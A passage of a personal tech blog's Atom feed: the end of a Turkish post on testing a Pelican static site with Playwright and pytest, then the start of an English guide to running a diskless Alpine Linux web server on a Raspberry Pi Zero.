        &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;&lt;a href="https://twitter.com/pytest"&gt;@pytest&lt;/a&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fixture&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;page&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Konsol hatalar&amp;inodot;n&amp;inodot; biriktirelim&lt;/span&gt;
    &lt;span class="n"&gt;errors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pageerror"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"console"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"error"&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;

    &lt;span class="c1"&gt;# Test bitti&amp;gbreve;inde hata varsa patlat!&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"Sayfada JavaScript hatalar&amp;inodot; bulundu: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="temel-ve-ileri-seviye-test-senaryolar"&gt;🧪 Temel ve &amp;Idot;leri Seviye Test Senaryolar&amp;inodot;&lt;a class="headerlink" href="#temel-ve-ileri-seviye-test-senaryolar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pelican'&amp;inodot;n &amp;uuml;retti&amp;gbreve;i &lt;code&gt;output&lt;/code&gt; klas&amp;ouml;r&amp;uuml;ndeki dosyalar&amp;inodot; do&amp;gbreve;rudan &lt;code&gt;file:///&lt;/code&gt; protokol&amp;uuml; ile test edece&amp;gbreve;iz. &amp;Idot;&amp;scedil;te birka&amp;ccedil; "hayat kurtaran" test &amp;ouml;rne&amp;gbreve;i:&lt;/p&gt;
&lt;h3 id="1-sayfa-yuklenmesi-ve-baslk-kontrolu"&gt;1. Sayfa Y&amp;uuml;klenmesi ve Ba&amp;scedil;l&amp;inodot;k Kontrol&amp;uuml;&lt;a class="headerlink" href="#1-sayfa-yuklenmesi-ve-baslk-kontrolu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pathlib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;urllib.request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pathname2url&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;playwright.sync_api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;expect&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_home_page_loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;index_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"output/index.html"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"file://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pathname2url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;index_path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_have_title&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Y&amp;uuml;cel Toluyag"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2-javascript-devre-dsyken-test-etme-expert-tip"&gt;2. JavaScript Devre D&amp;inodot;&amp;scedil;&amp;inodot;yken Test Etme (Expert Tip)&lt;a class="headerlink" href="#2-javascript-devre-dsyken-test-etme-expert-tip" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Siteniz JS kapal&amp;inodot;yken de okunabilir olmal&amp;inodot;. Playwright ile bunu test etmek &amp;ccedil;ok kolay:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_no_js_fallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Yeni bir context a&amp;ccedil;, JS'i kapat&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;browser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;java_script_enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"file://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pathname2url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'output/index.html'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# E&amp;gbreve;er &amp;lt;noscript&amp;gt; i&amp;ccedil;inde bir hata mesaj&amp;inodot; g&amp;ouml;steriyorsan&amp;inodot;z onu kontrol edin&lt;/span&gt;
    &lt;span class="c1"&gt;# Veya kritik i&amp;ccedil;eri&amp;gbreve;in hala orada oldu&amp;gbreve;unu do&amp;gbreve;rulay&amp;inodot;n&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_by_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Y&amp;uuml;cel Toluyag"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_be_visible&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3-redirect-ve-link-kontrolu"&gt;3. Redirect ve Link Kontrol&amp;uuml;&lt;a class="headerlink" href="#3-redirect-ve-link-kontrolu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Eski bir sayfan&amp;inodot;z&amp;inodot; yeni bir URL'e y&amp;ouml;nlendirdiyseniz, bunun do&amp;gbreve;ru &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;p &amp;ccedil;al&amp;inodot;&amp;scedil;mad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; status code &amp;uuml;zerinden do&amp;gbreve;rulayabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_internal_redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;goto&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https://yuceltoluyag.com/eski-yazi/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"https://yuceltoluyag.com/yeni-yazi/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="4-xpath-ile-iliskisel-dom-kontrolleri"&gt;4. XPath ile &amp;Idot;li&amp;scedil;kisel DOM Kontrolleri&lt;a class="headerlink" href="#4-xpath-ile-iliskisel-dom-kontrolleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bazen CSS selector'lar&amp;inodot; yetmez. &amp;Ouml;rne&amp;gbreve;in, belirli bir ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;n hemen yan&amp;inodot;ndaki veya alt&amp;inodot;ndaki butonu se&amp;ccedil;mek i&amp;ccedil;in XPath kullanabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test_article_sibling_button&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# 'Makaleler' ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;n hemen ard&amp;inodot;ndan gelen 'Devam&amp;inodot;n&amp;inodot; oku' butonunu bul&lt;/span&gt;
    &lt;span class="n"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;locator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"xpath=//h2[contains(text(), 'Makaleler')]/following-sibling::a[1]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_have_attribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"href"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"/makaleler/"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="testleri-calstrma_1"&gt;🚀 Testleri &amp;Ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma&lt;a class="headerlink" href="#testleri-calstrma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Terminalden &amp;scedil;u komutu verdi&amp;gbreve;inizde Playwright gizlice taray&amp;inodot;c&amp;inodot;y&amp;inodot; a&amp;ccedil;ar, Pelican'&amp;inodot;n &amp;uuml;retti&amp;gbreve;i siteyi tarar ve e&amp;gbreve;er bir JS hatas&amp;inodot; veya k&amp;inodot;r&amp;inodot;k yap&amp;inodot; varsa size raporlar:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;tests/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="neden-bu-zahmete-giriyoruz"&gt;Neden Bu Zahmete Giriyoruz?&lt;a class="headerlink" href="#neden-bu-zahmete-giriyoruz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Ccedil;&amp;uuml;nk&amp;uuml; statik siteler "basit" de&amp;gbreve;ildir. &amp;Ouml;zellikle kendi teman&amp;inodot;z&amp;inodot; yaz&amp;inodot;yorsan&amp;inodot;z veya karma&amp;scedil;&amp;inodot;k CSS/JS yap&amp;inodot;lar&amp;inodot; kullan&amp;inodot;yorsan&amp;inodot;z, bir makaleyi g&amp;uuml;ncellerken t&amp;uuml;m site yap&amp;inodot;s&amp;inodot;n&amp;inodot; bozma riskiniz her zaman vard&amp;inodot;r. Playwright ile bu riski s&amp;inodot;f&amp;inodot;ra indiriyoruz.&lt;/p&gt;
&lt;p&gt;Unutmay&amp;inodot;n; test yazmak zaman kayb&amp;inodot; de&amp;gbreve;il, gelecekteki uykusuz gecelerden &amp;ccedil;al&amp;inodot;nm&amp;inodot;&amp;scedil; bir sigortad&amp;inodot;r. &lt;a href="/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Kurulum&lt;/a&gt; rehberimle ba&amp;scedil;lad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z bu yolda, art&amp;inodot;k siteniz ger&amp;ccedil;ek bir m&amp;uuml;hendislik &amp;uuml;r&amp;uuml;n&amp;uuml; gibi sa&amp;gbreve;lam duruyor karda&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Hadi eyvallah!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar_1"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/playwright-arch-linux-kurulum/"&gt;Playwright Arch Linux Kurulum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/raspberry-pi-zero-ram-diskless-web-server/"&gt;Diskleri &amp;Ccedil;&amp;ouml;pe At&amp;inodot;n: Raspberry Pi Zero ile RAM &amp;Uuml;st&amp;uuml;nde Site Bar&amp;inodot;nd&amp;inodot;rmak&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Geliştirme Araçları"/><category term="playwright"/><category term="python"/><category term="pelican"/><category term="testing"/><category term="static-site"/><category term="uv"/></entry><entry><title>Throw Away the Disks: Hosting a Website Entirely on RAM with Raspberry Pi Zero</title><link href="https://yuceltoluyag.github.io/en/raspberry-pi-zero-ram-diskless-web-server/" rel="alternate"/><published>2026-05-11T00:05:00+03:00</published><updated>2026-05-11T00:05:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-11:/en/raspberry-pi-zero-ram-diskless-web-server/</id><summary type="html">&lt;p&gt;A crazy guide on how to turn a Pi Zero with 512MB RAM into a completely diskless Alpine Linux server and host a website on it.&lt;/p&gt;</summary><content type="html">&lt;p&gt;If you have a Raspberry Pi Zero (v1.3 or W) in your hand, you actually have the most durable micro server in the world. Of course, only if you use the SD card just for "booting" and run the rest of the system entirely on RAM. Today, we are setting up an Alpine Linux-based static web server that runs diskless and fits inside only 512MB of RAM.&lt;/p&gt;
&lt;p&gt;SD cards die, write limits end, but RAM (if there is electricity) never gets tired. Let's dive into the details of this madness from our Arch Linux terminal.&lt;/p&gt;
&lt;h2 id="step-1-preparing-the-sd-card-on-arch-linux"&gt;💾 Step 1: Preparing the SD Card on Arch Linux&lt;a class="headerlink" href="#step-1-preparing-the-sd-card-on-arch-linux" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sources usually explain this on macOS, but we will handle our work in the Arch terminal with &lt;code&gt;fdisk&lt;/code&gt; with surgical precision. I assume your SD card is &lt;code&gt;/dev/sdX&lt;/code&gt; (be careful not to blow up the wrong disk!).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;span class="c1"&gt;# Create a new partition table with 'o', and a new partition with 'n' (for FAT32).&lt;/span&gt;
&lt;span class="c1"&gt;# Don't forget to make its type 'b' (W95 FAT32).&lt;/span&gt;

yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.vfat&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;ALPINE&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1&lt;span class="w"&gt; &lt;/span&gt;/mnt
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;tar&lt;span class="w"&gt; &lt;/span&gt;xzf&lt;span class="w"&gt; &lt;/span&gt;alpine-rpi-*.tar.gz&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;/mnt
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/mnt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Insert the card into the Pi Zero, connect the keyboard and monitor, and power it up. Log in as &lt;code&gt;root&lt;/code&gt; without a password.&lt;/p&gt;
&lt;h2 id="step-2-alpine-linux-diskless-mode-and-lbu"&gt;🧠 Step 2: Alpine Linux Diskless Mode and lbu&lt;a class="headerlink" href="#step-2-alpine-linux-diskless-mode-and-lbu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When the Pi boots, everything is in RAM, but in order for your changes to be persistent, we must set up Alpine's &lt;code&gt;lbu&lt;/code&gt; (Local Backup) tool.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;setup-lbu&lt;span class="w"&gt; &lt;/span&gt;mmcblk0p1
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/media/mmcblk0p1/cache
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;setup-apkcache&lt;span class="w"&gt; &lt;/span&gt;/media/mmcblk0p1/cache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now we give the real magic command: &lt;code&gt;setup-alpine&lt;/code&gt;.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Critical Choice!&lt;/p&gt;
&lt;p&gt;During the installation, when the &lt;strong&gt;"Disk"&lt;/strong&gt; selection comes, you must absolutely say &lt;strong&gt;"none"&lt;/strong&gt;. This prevents the operating system from being installed on the SD card and loads the system entirely into the RAM (tmpfs). Choose &lt;code&gt;dropbear&lt;/code&gt; as SSH because OpenSSH would be a luxury in our limited RAM.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="step-3-server-installation-and-automation"&gt;🌐 Step 3: Server Installation and Automation&lt;a class="headerlink" href="#step-3-server-installation-and-automation" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We will use &lt;code&gt;darkhttpd&lt;/code&gt; as the web server. It is lightweight, fast, and exactly suited for the Pi Zero.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;apk&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/var/www/localhost/htdocs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To have the system start the server on every boot, create the &lt;code&gt;/etc/init.d/darkhttpd&lt;/code&gt; file with the following content:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/sbin/openrc-run&lt;/span&gt;
&lt;span class="nv"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"darkhttpd static web server"&lt;/span&gt;
&lt;span class="nv"&gt;command&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/darkhttpd"&lt;/span&gt;
&lt;span class="nv"&gt;command_args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/var/www/localhost/htdocs --port 80 --maxconn 20"&lt;/span&gt;
&lt;span class="nv"&gt;command_background&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;span class="nv"&gt;pidfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/run/darkhttpd.pid"&lt;/span&gt;

depend&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;need&lt;span class="w"&gt; &lt;/span&gt;net
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Authorize the script and add it to the startup:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;+x&lt;span class="w"&gt; &lt;/span&gt;/etc/init.d/darkhttpd
Friday13-Zero:~#&lt;span class="w"&gt; &lt;/span&gt;rc-update&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;darkhttpd&lt;span class="w"&gt; &lt;/span&gt;default
